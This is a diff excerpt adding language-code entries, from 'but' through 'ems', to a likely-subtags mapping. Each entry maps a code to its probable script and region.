+ "but": "but-Latn-PG",
+ "buu": "buu-Latn-ZZ",
+ "buv": "buv-Latn-PG",
+ "buw": "buw-Latn-GA",
+ "bux": "bux-Latn-NG",
+ "buy": "buy-Latn-SL",
+ "buz": "buz-Latn-NG",
+ "bva": "bva-Latn-TD",
+ "bvb": "bvb-Latn-GQ",
+ "bvc": "bvc-Latn-SB",
+ "bvd": "bvd-Latn-SB",
+ "bve": "bve-Latn-ID",
+ "bvf": "bvf-Latn-TD",
+ "bvg": "bvg-Latn-CM",
+ "bvh": "bvh-Latn-NG",
+ "bvi": "bvi-Latn-SS",
+ "bvj": "bvj-Latn-NG",
+ "bvk": "bvk-Latn-ID",
+ "bvm": "bvm-Latn-CM",
+ "bvn": "bvn-Latn-PG",
+ "bvo": "bvo-Latn-TD",
+ "bvq": "bvq-Latn-CF",
+ "bvr": "bvr-Latn-AU",
+ "bvt": "bvt-Latn-ID",
+ "bvu": "bvu-Latn-ID",
+ "bvv": "bvv-Latn-VE",
+ "bvw": "bvw-Latn-NG",
+ "bvx": "bvx-Latn-CG",
+ "bvy": "bvy-Latn-PH",
+ "bvz": "bvz-Latn-ID",
+ "bwa": "bwa-Latn-NC",
+ "bwb": "bwb-Latn-FJ",
+ "bwc": "bwc-Latn-ZM",
+ "bwd": "bwd-Latn-ZZ",
+ "bwe": "bwe-Mymr-MM",
+ "bwe-Latn": "bwe-Latn-MM",
+ "bwf": "bwf-Latn-PG",
+ "bwg": "bwg-Latn-MZ",
+ "bwh": "bwh-Latn-CM",
+ "bwi": "bwi-Latn-VE",
+ "bwj": "bwj-Latn-BF",
+ "bwk": "bwk-Latn-PG",
+ "bwl": "bwl-Latn-CD",
+ "bwm": "bwm-Latn-PG",
+ "bwo": "bwo-Latn-ET",
+ "bwo-Ethi": "bwo-Ethi-ET",
+ "bwp": "bwp-Latn-ID",
+ "bwq": "bwq-Latn-BF",
+ "bwr": "bwr-Latn-ZZ",
+ "bws": "bws-Latn-CD",
+ "bwt": "bwt-Latn-CM",
+ "bwu": "bwu-Latn-GH",
+ "bww": "bww-Latn-CD",
+ "bwx": "bwx-Latn-CN",
+ "bwy": "bwy-Latn-BF",
+ "bwz": "bwz-Latn-CG",
+ "bxa": "bxa-Latn-SB",
+ "bxb": "bxb-Latn-SS",
+ "bxc": "bxc-Latn-GQ",
+ "bxf": "bxf-Latn-PG",
+ "bxg": "bxg-Latn-CD",
+ "bxh": "bxh-Latn-ZZ",
+ "bxi": "bxi-Latn-AU",
+ "bxj": "bxj-Latn-AU",
+ "bxl": "bxl-Latn-BF",
+ "bxm": "bxm-Cyrl-MN",
+ "bxm-Latn": "bxm-Latn-MN",
+ "bxm-Mong": "bxm-Mong-MN",
+ "bxn": "bxn-Latn-AU",
+ "bxo": "bxo-Latn-NG",
+ "bxp": "bxp-Latn-CM",
+ "bxq": "bxq-Latn-NG",
+ "bxs": "bxs-Latn-CM",
+ "bxu": "bxu-Mong-CN",
+ "bxu-Cyrl": "bxu-Cyrl-CN",
+ "bxu-Latn": "bxu-Latn-CN",
+ "bxv": "bxv-Latn-TD",
+ "bxw": "bxw-Latn-ML",
+ "bxz": "bxz-Latn-PG",
+ "bya": "bya-Latn-PH",
+ "byb": "byb-Latn-CM",
+ "byc": "byc-Latn-NG",
+ "byd": "byd-Latn-ID",
+ "bye": "bye-Latn-ZZ",
+ "byf": "byf-Latn-NG",
+ "byh": "byh-Deva-NP",
+ "byi": "byi-Latn-CD",
+ "byj": "byj-Latn-NG",
+ "byk": "byk-Latn-CN",
+ "byl": "byl-Latn-ID",
+ "bym": "bym-Latn-AU",
+ "byn": "byn-Ethi-ER",
+ "byp": "byp-Latn-NG",
+ "byr": "byr-Latn-ZZ",
+ "bys": "bys-Latn-ZZ",
+ "byv": "byv-Latn-CM",
+ "byw": "byw-Deva-NP",
+ "byx": "byx-Latn-ZZ",
+ "byz": "byz-Latn-PG",
+ "bza": "bza-Latn-ZZ",
+ "bzb": "bzb-Latn-ID",
+ "bzc": "bzc-Latn-MG",
+ "bzd": "bzd-Latn-CR",
+ "bze": "bze-Latn-ML",
+ "bzf": "bzf-Latn-ZZ",
+ "bzh": "bzh-Latn-ZZ",
+ "bzi": "bzi-Thai-TH",
+ "bzj": "bzj-Latn-BZ",
+ "bzk": "bzk-Latn-NI",
+ "bzl": "bzl-Latn-ID",
+ "bzm": "bzm-Latn-CD",
+ "bzn": "bzn-Latn-ID",
+ "bzo": "bzo-Latn-CD",
+ "bzp": "bzp-Latn-ID",
+ "bzq": "bzq-Latn-ID",
+ "bzr": "bzr-Latn-AU",
+ "bzt": "bzt-Latn-001",
+ "bzu": "bzu-Latn-ID",
+ "bzv": "bzv-Latn-CM",
+ "bzw": "bzw-Latn-ZZ",
+ "bzx": "bzx-Latn-ML",
+ "bzy": "bzy-Latn-NG",
+ "bzz": "bzz-Latn-NG",
+ "ca": "ca-Latn-ES",
+ "caa": "caa-Latn-GT",
+ "cab": "cab-Latn-HN",
+ "cac": "cac-Latn-GT",
+ "cad": "cad-Latn-US",
+ "cae": "cae-Latn-SN",
+ "caf": "caf-Latn-CA",
+ "caf-Cans": "caf-Cans-CA",
+ "cag": "cag-Latn-PY",
+ "cah": "cah-Latn-PE",
+ "caj": "caj-Latn-AR",
+ "cak": "cak-Latn-GT",
+ "cal": "cal-Latn-MP",
+ "cam": "cam-Latn-NC",
+ "can": "can-Latn-ZZ",
+ "cao": "cao-Latn-BO",
+ "cap": "cap-Latn-BO",
+ "caq": "caq-Latn-IN",
+ "car": "car-Latn-VE",
+ "cas": "cas-Latn-BO",
+ "cav": "cav-Latn-BO",
+ "caw": "caw-Latn-BO",
+ "cax": "cax-Latn-BO",
+ "cay": "cay-Latn-CA",
+ "caz": "caz-Latn-BO",
+ "cbb": "cbb-Latn-CO",
+ "cbc": "cbc-Latn-CO",
+ "cbd": "cbd-Latn-CO",
+ "cbg": "cbg-Latn-CO",
+ "cbi": "cbi-Latn-EC",
+ "cbj": "cbj-Latn-ZZ",
+ "cbk": "cbk-Latn-PH",
+ "cbk-Brai": "cbk-Brai-PH",
+ "cbl": "cbl-Latn-MM",
+ "cbn": "cbn-Thai-TH",
+ "cbo": "cbo-Latn-NG",
+ "cbq": "cbq-Latn-NG",
+ "cbr": "cbr-Latn-PE",
+ "cbs": "cbs-Latn-PE",
+ "cbt": "cbt-Latn-PE",
+ "cbu": "cbu-Latn-PE",
+ "cbv": "cbv-Latn-CO",
+ "cbw": "cbw-Latn-PH",
+ "cby": "cby-Latn-CO",
+ "ccc": "ccc-Latn-PE",
+ "ccd": "ccd-Latn-BR",
+ "cce": "cce-Latn-MZ",
+ "ccg": "ccg-Latn-NG",
+ "cch": "cch-Latn-NG",
+ "ccj": "ccj-Latn-GW",
+ "ccl": "ccl-Latn-TZ",
+ "ccm": "ccm-Latn-MY",
+ "cco": "cco-Latn-MX",
+ "ccp": "ccp-Cakm-BD",
+ "ccr": "ccr-Latn-SV",
+ "cde": "cde-Telu-IN",
+ "cdf": "cdf-Latn-IN",
+ "cdf-Beng": "cdf-Beng-IN",
+ "cdh": "cdh-Deva-IN",
+ "cdh-Takr": "cdh-Takr-IN",
+ "cdi": "cdi-Gujr-IN",
+ "cdj": "cdj-Deva-IN",
+ "cdm": "cdm-Deva-NP",
+ "cdm-Latn": "cdm-Latn-NP",
+ "cdo": "cdo-Hans-CN",
+ "cdo-Hant": "cdo-Hant-CN",
+ "cdo-Latn": "cdo-Latn-CN",
+ "cdr": "cdr-Latn-NG",
+ "cdz": "cdz-Beng-IN",
+ "ce": "ce-Cyrl-RU",
+ "cea": "cea-Latn-US",
+ "ceb": "ceb-Latn-PH",
+ "ceg": "ceg-Latn-PY",
+ "cek": "cek-Latn-MM",
+ "cen": "cen-Latn-NG",
+ "cet": "cet-Latn-NG",
+ "cey": "cey-Latn-MM",
+ "cfa": "cfa-Latn-ZZ",
+ "cfd": "cfd-Latn-NG",
+ "cfg": "cfg-Latn-NG",
+ "cfm": "cfm-Latn-MM",
+ "cfm-Beng": "cfm-Beng-IN",
+ "cga": "cga-Latn-PG",
+ "cgc": "cgc-Latn-PH",
+ "cgg": "cgg-Latn-UG",
+ "cgk": "cgk-Tibt-BT",
+ "ch": "ch-Latn-GU",
+ "chb": "chb-Latn-CO",
+ "chd": "chd-Latn-MX",
+ "chf": "chf-Latn-MX",
+ "chg": "chg-Arab-TM",
+ "chh": "chh-Latn-US",
+ "chj": "chj-Latn-MX",
+ "chk": "chk-Latn-FM",
+ "chl": "chl-Latn-US",
+ "chm": "chm-Cyrl-RU",
+ "chn": "chn-Latn-US",
+ "chn-Dupl": "chn-Dupl-US",
+ "cho": "cho-Latn-US",
+ "chp": "chp-Latn-CA",
+ "chq": "chq-Latn-MX",
+ "chr": "chr-Cher-US",
+ "cht": "cht-Latn-PE",
+ "chw": "chw-Latn-MZ",
+ "chx": "chx-Deva-NP",
+ "chy": "chy-Latn-US",
+ "chz": "chz-Latn-MX",
+ "cia": "cia-Latn-ID",
+ "cia-Arab": "cia-Arab-ID",
+ "cia-Hang": "cia-Hang-ID",
+ "cib": "cib-Latn-BJ",
+ "cic": "cic-Latn-US",
+ "cie": "cie-Latn-NG",
+ "cih": "cih-Deva-IN",
+ "cim": "cim-Latn-IT",
+ "cin": "cin-Latn-BR",
+ "cip": "cip-Latn-MX",
+ "cir": "cir-Latn-NC",
+ "ciw": "ciw-Latn-US",
+ "ciw-Cans": "ciw-Cans-US",
+ "ciy": "ciy-Latn-VE",
+ "cja": "cja-Arab-KH",
+ "cje": "cje-Latn-VN",
+ "cjh": "cjh-Latn-US",
+ "cji": "cji-Cyrl-RU",
+ "cjk": "cjk-Latn-AO",
+ "cjm": "cjm-Cham-VN",
+ "cjn": "cjn-Latn-PG",
+ "cjo": "cjo-Latn-PE",
+ "cjp": "cjp-Latn-CR",
+ "cjs": "cjs-Latn-RU",
+ "cjs-Cyrl": "cjs-Cyrl-RU",
+ "cjv": "cjv-Latn-ZZ",
+ "cjy": "cjy-Hans-CN",
+ "cjy-Hant": "cjy-Hant-CN",
+ "ckb": "ckb-Arab-IQ",
+ "ckl": "ckl-Latn-ZZ",
+ "ckm": "ckm-Latn-HR",
+ "ckm-Glag": "ckm-Glag-HR",
+ "ckn": "ckn-Latn-MM",
+ "cko": "cko-Latn-ZZ",
+ "ckq": "ckq-Latn-TD",
+ "ckr": "ckr-Latn-PG",
+ "cks": "cks-Latn-NC",
+ "ckt": "ckt-Cyrl-RU",
+ "cku": "cku-Latn-US",
+ "ckv": "ckv-Latn-TW",
+ "ckx": "ckx-Latn-CM",
+ "cky": "cky-Latn-ZZ",
+ "ckz": "ckz-Latn-GT",
+ "cla": "cla-Latn-ZZ",
+ "clc": "clc-Latn-CA",
+ "cle": "cle-Latn-MX",
+ "clh": "clh-Arab-PK",
+ "cli": "cli-Latn-GH",
+ "clj": "clj-Latn-MM",
+ "clk": "clk-Latn-IN",
+ "clk-Tibt": "clk-Tibt-CN",
+ "cll": "cll-Latn-GH",
+ "clm": "clm-Latn-US",
+ "clo": "clo-Latn-MX",
+ "clt": "clt-Latn-MM",
+ "clu": "clu-Latn-PH",
+ "clw": "clw-Cyrl-RU",
+ "cly": "cly-Latn-MX",
+ "cma": "cma-Latn-VN",
+ "cme": "cme-Latn-ZZ",
+ "cmg": "cmg-Soyo-MN",
+ "cmi": "cmi-Latn-CO",
+ "cml": "cml-Latn-ID",
+ "cmo": "cmo-Latn-VN",
+ "cmo-KH": "cmo-Latn-KH",
+ "cmo-Khmr": "cmo-Khmr-KH",
+ "cmr": "cmr-Latn-MM",
+ "cms": "cms-Latn-IT",
+ "cmt": "cmt-Latn-ZA",
+ "cna": "cna-Tibt-IN",
+ "cnb": "cnb-Latn-MM",
+ "cnc": "cnc-Latn-VN",
+ "cng": "cng-Latn-CN",
+ "cnh": "cnh-Latn-MM",
+ "cni": "cni-Latn-PE",
+ "cnk": "cnk-Latn-MM",
+ "cnl": "cnl-Latn-MX",
+ "cnp": "cnp-Hans-CN",
+ "cnp-Hant": "cnp-Hant-CN",
+ "cnq": "cnq-Latn-CM",
+ "cns": "cns-Latn-ID",
+ "cnt": "cnt-Latn-MX",
+ "cnw": "cnw-Latn-MM",
+ "cnx": "cnx-Latn-GB",
+ "co": "co-Latn-FR",
+ "coa": "coa-Latn-AU",
+ "cob": "cob-Latn-MX",
+ "coc": "coc-Latn-MX",
+ "cod": "cod-Latn-PE",
+ "coe": "coe-Latn-CO",
+ "cof": "cof-Latn-EC",
+ "cog": "cog-Thai-TH",
+ "coh": "coh-Latn-KE",
+ "coj": "coj-Latn-MX",
+ "cok": "cok-Latn-MX",
+ "col": "col-Latn-US",
+ "com": "com-Latn-US",
+ "coo": "coo-Latn-CA",
+ "cop": "cop-Copt-EG",
+ "coq": "coq-Latn-US",
+ "cot": "cot-Latn-PE",
+ "cou": "cou-Latn-SN",
+ "cox": "cox-Latn-PE",
+ "coz": "coz-Latn-MX",
+ "cpa": "cpa-Latn-MX",
+ "cpb": "cpb-Latn-PE",
+ "cpc": "cpc-Latn-PE",
+ "cpg": "cpg-Grek-GR",
+ "cpi": "cpi-Latn-NR",
+ "cpn": "cpn-Latn-GH",
+ "cpo": "cpo-Latn-BF",
+ "cps": "cps-Latn-PH",
+ "cpu": "cpu-Latn-PE",
+ "cpx": "cpx-Latn-CN",
+ "cpy": "cpy-Latn-PE",
+ "cqd": "cqd-Latn-CN",
+ "cr": "cr-Cans-CA",
+ "crb": "crb-Latn-VC",
+ "crc": "crc-Latn-VU",
+ "crd": "crd-Latn-US",
+ "crf": "crf-Latn-CO",
+ "crg": "crg-Latn-CA",
+ "crh": "crh-Cyrl-UA",
+ "cri": "cri-Latn-ST",
+ "crj": "crj-Cans-CA",
+ "crj-Latn": "crj-Latn-CA",
+ "crk": "crk-Cans-CA",
+ "crl": "crl-Cans-CA",
+ "crm": "crm-Cans-CA",
+ "crn": "crn-Latn-MX",
+ "cro": "cro-Latn-US",
+ "crq": "crq-Latn-AR",
+ "crs": "crs-Latn-SC",
+ "crt": "crt-Latn-AR",
+ "crv": "crv-Latn-IN",
+ "crw": "crw-Latn-VN",
+ "crx": "crx-Latn-CA",
+ "crx-Cans": "crx-Cans-CA",
+ "cry": "cry-Latn-NG",
+ "crz": "crz-Latn-US",
+ "cs": "cs-Latn-CZ",
+ "csa": "csa-Latn-MX",
+ "csb": "csb-Latn-PL",
+ "csh": "csh-Mymr-MM",
+ "csh-Latn": "csh-Latn-MM",
+ "csj": "csj-Latn-MM",
+ "csk": "csk-Latn-SN",
+ "csm": "csm-Latn-US",
+ "cso": "cso-Latn-MX",
+ "csp": "csp-Hans-CN",
+ "csp-Hant": "csp-Hant-CN",
+ "css": "css-Latn-US",
+ "cst": "cst-Latn-US",
+ "csv": "csv-Latn-MM",
+ "csw": "csw-Cans-CA",
+ "csy": "csy-Latn-MM",
+ "csz": "csz-Latn-US",
+ "cta": "cta-Latn-MX",
+ "ctc": "ctc-Latn-US",
+ "ctd": "ctd-Pauc-MM",
+ "cte": "cte-Latn-MX",
+ "ctg": "ctg-Beng-BD",
+ "ctg-Arab": "ctg-Arab-BD",
+ "ctg-Latn": "ctg-Latn-BD",
+ "cth": "cth-Latn-MM",
+ "ctl": "ctl-Latn-MX",
+ "ctm": "ctm-Latn-US",
+ "ctn": "ctn-Deva-NP",
+ "cto": "cto-Latn-CO",
+ "ctp": "ctp-Latn-MX",
+ "cts": "cts-Latn-PH",
+ "ctt": "ctt-Taml-IN",
+ "ctu": "ctu-Latn-MX",
+ "ctz": "ctz-Latn-MX",
+ "cu": "cu-Cyrl-RU",
+ "cu-Glag": "cu-Glag-BG",
+ "cua": "cua-Latn-VN",
+ "cub": "cub-Latn-CO",
+ "cuc": "cuc-Latn-MX",
+ "cuh": "cuh-Latn-KE",
+ "cui": "cui-Latn-CO",
+ "cuj": "cuj-Latn-PE",
+ "cuk": "cuk-Latn-PA",
+ "cul": "cul-Latn-BR",
+ "cuo": "cuo-Latn-VE",
+ "cup": "cup-Latn-US",
+ "cut": "cut-Latn-MX",
+ "cuu": "cuu-Lana-CN",
+ "cuv": "cuv-Latn-CM",
+ "cux": "cux-Latn-MX",
+ "cv": "cv-Cyrl-RU",
+ "cvg": "cvg-Latn-IN",
+ "cvg-Tibt": "cvg-Tibt-IN",
+ "cvn": "cvn-Latn-MX",
+ "cwa": "cwa-Latn-TZ",
+ "cwb": "cwb-Latn-MZ",
+ "cwe": "cwe-Latn-TZ",
+ "cwg": "cwg-Latn-MY",
+ "cwt": "cwt-Latn-SN",
+ "cy": "cy-Latn-GB",
+ "cya": "cya-Latn-MX",
+ "cyb": "cyb-Latn-BO",
+ "cyo": "cyo-Latn-PH",
+ "czh": "czh-Hans-CN",
+ "czh-Hant": "czh-Hant-CN",
+ "czk": "czk-Hebr-CZ",
+ "czn": "czn-Latn-MX",
+ "czt": "czt-Latn-MM",
+ "da": "da-Latn-DK",
+ "daa": "daa-Latn-TD",
+ "dac": "dac-Latn-PG",
+ "dad": "dad-Latn-ZZ",
+ "dae": "dae-Latn-CM",
+ "daf": "dnj-Latn-CI",
+ "dag": "dag-Latn-ZZ",
+ "dah": "dah-Latn-ZZ",
+ "dai": "dai-Latn-TD",
+ "daj": "daj-Latn-SD",
+ "dak": "dak-Latn-US",
+ "dal": "dal-Latn-KE",
+ "dam": "dam-Latn-NG",
+ "dao": "dao-Latn-MM",
+ "daq": "daq-Deva-IN",
+ "dar": "dar-Cyrl-RU",
+ "das": "das-Latn-CI",
+ "dau": "dau-Latn-TD",
+ "dav": "dav-Latn-KE",
+ "daw": "daw-Latn-PH",
+ "dax": "dax-Latn-AU",
+ "daz": "daz-Latn-ID",
+ "dba": "dba-Latn-ML",
+ "dbb": "dbb-Latn-NG",
+ "dbd": "dbd-Latn-ZZ",
+ "dbe": "dbe-Latn-ID",
+ "dbf": "dbf-Latn-ID",
+ "dbg": "dbg-Latn-ML",
+ "dbi": "dbi-Latn-NG",
+ "dbj": "dbj-Latn-MY",
+ "dbj-Arab": "dbj-Arab-MY",
+ "dbl": "dbl-Latn-AU",
+ "dbm": "dbm-Latn-NG",
+ "dbn": "dbn-Latn-ID",
+ "dbo": "dbo-Latn-NG",
+ "dbp": "dbp-Latn-NG",
+ "dbq": "dbq-Latn-ZZ",
+ "dbt": "dbt-Latn-ML",
+ "dbu": "dbu-Latn-ML",
+ "dbv": "dbv-Latn-NG",
+ "dbw": "dbw-Latn-ML",
+ "dby": "dby-Latn-PG",
+ "dcc": "dcc-Arab-IN",
+ "dcr": "dcr-Latn-VI",
+ "dda": "dda-Latn-AU",
+ "ddd": "ddd-Latn-SS",
+ "dde": "dde-Latn-CG",
+ "ddg": "ddg-Latn-TL",
+ "ddi": "ddi-Latn-PG",
+ "ddj": "ddj-Latn-AU",
+ "ddn": "ddn-Latn-ZZ",
+ "ddo": "ddo-Cyrl-RU",
+ "ddr": "ddr-Latn-AU",
+ "dds": "dds-Latn-ML",
+ "ddw": "ddw-Latn-ID",
+ "de": "de-Latn-DE",
+ "dec": "dec-Latn-SD",
+ "ded": "ded-Latn-ZZ",
+ "dee": "dee-Latn-LR",
+ "def": "def-Arab-IR",
+ "deg": "deg-Latn-NG",
+ "deh": "deh-Arab-PK",
+ "dei": "dei-Latn-ID",
+ "dek": "dek-Latn-CM",
+ "del": "del-Latn-US",
+ "dem": "dem-Latn-ID",
+ "den": "den-Latn-CA",
+ "deq": "deq-Latn-CF",
+ "der": "der-Beng-IN",
+ "der-Latn": "der-Latn-IN",
+ "des": "des-Latn-BR",
+ "dev": "dev-Latn-PG",
+ "dez": "dez-Latn-CD",
+ "dga": "dga-Latn-ZZ",
+ "dgb": "dgb-Latn-ML",
+ "dgc": "dgc-Latn-PH",
+ "dgd": "dgd-Latn-BF",
+ "dge": "dge-Latn-PG",
+ "dgg": "dgg-Latn-PG",
+ "dgh": "dgh-Latn-ZZ",
+ "dgi": "dgi-Latn-ZZ",
+ "dgk": "dgk-Latn-CF",
+ "dgl": "dgl-Arab-ZZ",
+ "dgn": "dgn-Latn-AU",
+ "dgr": "dgr-Latn-CA",
+ "dgs": "dgs-Latn-BF",
+ "dgt": "dgt-Latn-AU",
+ "dgw": "dgw-Latn-AU",
+ "dgx": "dgx-Latn-PG",
+ "dgz": "dgz-Latn-ZZ",
+ "dhg": "dhg-Latn-AU",
+ "dhi": "dhi-Deva-NP",
+ "dhl": "dhl-Latn-AU",
+ "dhm": "dhm-Latn-AO",
+ "dhn": "dhn-Gujr-IN",
+ "dho": "dho-Deva-IN",
+ "dhr": "dhr-Latn-AU",
+ "dhs": "dhs-Latn-TZ",
+ "dhu": "dhu-Latn-AU",
+ "dhv": "dhv-Latn-NC",
+ "dhw": "dhw-Deva-NP",
+ "dhx": "dhx-Latn-AU",
+ "dia": "dia-Latn-ZZ",
+ "dib": "dib-Latn-SS",
+ "dic": "dic-Latn-CI",
+ "did": "did-Latn-SS",
+ "dif": "dif-Latn-AU",
+ "dig": "dig-Latn-KE",
+ "dih": "dih-Latn-MX",
+ "dii": "dii-Latn-CM",
+ "dij": "dij-Latn-ID",
+ "dil": "dil-Latn-SD",
+ "din": "din-Latn-SS",
+ "din-Arab": "din-Arab-SS",
+ "dio": "dio-Latn-NG",
+ "dip": "dip-Latn-SS",
+ "dir": "dir-Latn-NG",
+ "dis": "dis-Latn-IN",
+ "dis-Beng": "dis-Beng-IN",
+ "diu": "diu-Latn-NA",
+ "diw": "diw-Latn-SS",
+ "dix": "dix-Latn-VU",
+ "diy": "diy-Latn-ID",
+ "diz": "diz-Latn-CD",
+ "dja": "dja-Latn-AU",
+ "djb": "djb-Latn-AU",
+ "djc": "djc-Latn-TD",
+ "djd": "djd-Latn-AU",
+ "dje": "dje-Latn-NE",
+ "djf": "djf-Latn-AU",
+ "dji": "dji-Latn-AU",
+ "djj": "djj-Latn-AU",
+ "djk": "djk-Latn-SR",
+ "djm": "djm-Latn-ML",
+ "djn": "djn-Latn-AU",
+ "djo": "djo-Latn-ID",
+ "djr": "djr-Latn-AU",
+ "dju": "dju-Latn-PG",
+ "djw": "djw-Latn-AU",
+ "dka": "dka-Tibt-BT",
+ "dkg": "dkg-Latn-NG",
+ "dkk": "dkk-Latn-ID",
+ "dkr": "dkr-Latn-MY",
+ "dks": "dks-Latn-SS",
+ "dkx": "dkx-Latn-CM",
+ "dlg": "dlg-Cyrl-RU",
+ "dlm": "dlm-Latn-HR",
+ "dln": "dln-Latn-IN",
+ "dma": "dma-Latn-GA",
+ "dmb": "dmb-Latn-ML",
+ "dmc": "dmc-Latn-PG",
+ "dmd": "dmd-Latn-AU",
+ "dme": "dme-Latn-CM",
+ "dmf": "dmf-Medf-NG",
+ "dmg": "dmg-Latn-MY",
+ "dmk": "dmk-Arab-PK",
+ "dml": "dml-Arab-PK",
+ "dmm": "dmm-Latn-CM",
+ "dmo": "dmo-Latn-CM",
+ "dmr": "dmr-Latn-ID",
+ "dms": "dms-Latn-ID",
+ "dmu": "dmu-Latn-ID",
+ "dmv": "dmv-Latn-MY",
+ "dmw": "dmw-Latn-AU",
+ "dmx": "dmx-Latn-MZ",
+ "dmy": "dmy-Latn-ID",
+ "dna": "dna-Latn-ID",
+ "dnd": "dnd-Latn-PG",
+ "dne": "dne-Latn-TZ",
+ "dng": "dng-Cyrl-KG",
+ "dng-Arab": "dng-Arab-KG",
+ "dni": "dni-Latn-ID",
+ "dnj": "dnj-Latn-CI",
+ "dnk": "dnk-Latn-ID",
+ "dnn": "dnn-Latn-BF",
+ "dno": "dno-Latn-CD",
+ "dnr": "dnr-Latn-PG",
+ "dnt": "dnt-Latn-ID",
+ "dnu": "dnu-Mymr-MM",
+ "dnv": "dnv-Mymr-MM",
+ "dnw": "dnw-Latn-ID",
+ "dny": "dny-Latn-BR",
+ "doa": "doa-Latn-PG",
+ "dob": "dob-Latn-ZZ",
+ "doc": "doc-Latn-CN",
+ "doe": "doe-Latn-TZ",
+ "dof": "dof-Latn-PG",
+ "doh": "doh-Latn-NG",
+ "doi": "doi-Deva-IN",
+ "dok": "dok-Latn-ID",
+ "dol": "dol-Latn-PG",
+ "don": "don-Latn-PG",
+ "doo": "doo-Latn-CD",
+ "dop": "dop-Latn-ZZ",
+ "dor": "dor-Latn-SB",
+ "dos": "dos-Latn-BF",
+ "dot": "dot-Latn-NG",
+ "dov": "dov-Latn-ZW",
+ "dow": "dow-Latn-ZZ",
+ "dox": "dox-Ethi-ET",
+ "doy": "doy-Latn-GH",
+ "dpp": "dpp-Latn-MY",
+ "drc": "drc-Latn-PT",
+ "dre": "dre-Tibt-NP",
+ "drg": "drg-Latn-MY",
+ "drh": "mn-Cyrl-MN",
+ "dri": "dri-Latn-ZZ",
+ "drl": "drl-Latn-AU",
+ "drn": "drn-Latn-ID",
+ "dro": "dro-Latn-MY",
+ "drq": "drq-Deva-NP",
+ "drs": "drs-Ethi-ZZ",
+ "drt": "drt-Latn-NL",
+ "dru": "dru-Latn-TW",
+ "dry": "dry-Deva-NP",
+ "dsb": "dsb-Latn-DE",
+ "dsh": "dsh-Latn-KE",
+ "dsi": "dsi-Latn-TD",
+ "dsn": "dsn-Latn-ID",
+ "dso": "dso-Orya-IN",
+ "dsq": "dsq-Latn-ML",
+ "dsq-Arab": "dsq-Arab-ML",
+ "dta": "dta-Latn-CN",
+ "dta-Cyrl": "dta-Cyrl-CN",
+ "dta-Hans": "dta-Hans-CN",
+ "dtb": "dtb-Latn-MY",
+ "dtd": "dtd-Latn-CA",
+ "dth": "dth-Latn-AU",
+ "dti": "dti-Latn-ML",
+ "dtk": "dtk-Latn-ML",
+ "dtm": "dtm-Latn-ML",
+ "dto": "dto-Latn-ML",
+ "dtp": "dtp-Latn-MY",
+ "dtr": "dtr-Latn-MY",
+ "dts": "dts-Latn-ZZ",
+ "dtt": "dtt-Latn-ML",
+ "dtu": "dtu-Latn-ML",
+ "dty": "dty-Deva-NP",
+ "dua": "dua-Latn-CM",
+ "dub": "dub-Gujr-IN",
+ "duc": "duc-Latn-ZZ",
+ "dud": "uth-Latn-ZZ",
+ "due": "due-Latn-PH",
+ "duf": "duf-Latn-NC",
+ "dug": "dug-Latn-ZZ",
+ "duh": "duh-Deva-IN",
+ "duh-Gujr": "duh-Gujr-IN",
+ "dui": "dui-Latn-PG",
+ "duk": "duk-Latn-PG",
+ "dul": "dul-Latn-PH",
+ "dum": "dum-Latn-NL",
+ "dun": "dun-Latn-ID",
+ "duo": "duo-Latn-PH",
+ "dup": "dup-Latn-ID",
+ "duq": "duq-Latn-ID",
+ "dur": "dur-Latn-CM",
+ "dus": "dus-Deva-NP",
+ "duu": "duu-Latn-CN",
+ "duv": "duv-Latn-ID",
+ "duw": "duw-Latn-ID",
+ "dux": "dux-Latn-ML",
+ "duy": "duy-Latn-PH",
+ "duz": "duz-Latn-CM",
+ "dv": "dv-Thaa-MV",
+ "dva": "dva-Latn-ZZ",
+ "dwa": "dwa-Latn-NG",
+ "dwk": "dwk-Orya-IN",
+ "dwr": "dwr-Latn-ET",
+ "dwr-Ethi": "dwr-Ethi-ET",
+ "dws": "dws-Latn-001",
+ "dwu": "dwu-Latn-AU",
+ "dww": "dww-Latn-ZZ",
+ "dwy": "dwy-Latn-AU",
+ "dwz": "dwz-Deva-NP",
+ "dya": "dya-Latn-BF",
+ "dyb": "dyb-Latn-AU",
+ "dyd": "dyd-Latn-AU",
+ "dyg": "dyg-Latn-PH",
+ "dyi": "dyi-Latn-CI",
+ "dym": "dym-Latn-ML",
+ "dyn": "dyn-Latn-AU",
+ "dyo": "dyo-Latn-SN",
+ "dyu": "dyu-Latn-BF",
+ "dyy": "dyy-Latn-AU",
+ "dz": "dz-Tibt-BT",
+ "dza": "dza-Latn-NG",
+ "dze": "dze-Latn-AU",
+ "dzg": "dzg-Latn-ZZ",
+ "dzl": "dzl-Tibt-BT",
+ "dzn": "dzn-Latn-CD",
+ "eaa": "eaa-Latn-AU",
+ "ebc": "ebc-Latn-ID",
+ "ebg": "ebg-Latn-NG",
+ "ebk": "ebk-Latn-PH",
+ "ebo": "ebo-Latn-CG",
+ "ebr": "ebr-Latn-CI",
+ "ebu": "ebu-Latn-KE",
+ "ecr": "ecr-Grek-GR",
+ "ecy": "ecy-Cprt-CY",
+ "ee": "ee-Latn-GH",
+ "efa": "efa-Latn-NG",
+ "efe": "efe-Latn-CD",
+ "efi": "efi-Latn-NG",
+ "ega": "ega-Latn-CI",
+ "egl": "egl-Latn-IT",
+ "egm": "egm-Latn-TZ",
+ "ego": "ego-Latn-NG",
+ "egy": "egy-Egyp-EG",
+ "ehu": "ehu-Latn-NG",
+ "eip": "eip-Latn-ID",
+ "eit": "eit-Latn-PG",
+ "eiv": "eiv-Latn-PG",
+ "eja": "eja-Latn-GW",
+ "eka": "eka-Latn-ZZ",
+ "eke": "eke-Latn-NG",
+ "ekg": "ekg-Latn-ID",
+ "eki": "eki-Latn-NG",
+ "ekl": "ekl-Latn-BD",
+ "ekm": "ekm-Latn-CM",
+ "eko": "eko-Latn-MZ",
+ "eko-Arab": "eko-Arab-MZ",
+ "ekp": "ekp-Latn-NG",
+ "ekr": "ekr-Latn-NG",
+ "eky": "eky-Kali-MM",
+ "el": "el-Grek-GR",
+ "ele": "ele-Latn-PG",
+ "elk": "elk-Latn-PG",
+ "elm": "elm-Latn-NG",
+ "elo": "elo-Latn-KE",
+ "elu": "elu-Latn-PG",
+ "ema": "ema-Latn-ZZ",
+ "emb": "emb-Latn-ID",
+ "eme": "eme-Latn-GF",
+ "emg": "emg-Deva-NP",
+ "emi": "emi-Latn-ZZ",
+ "emm": "emm-Latn-MX",
+ "emn": "emn-Latn-CM",
+ "emp": "emp-Latn-PA",
+ "ems": "ems-Latn-US",
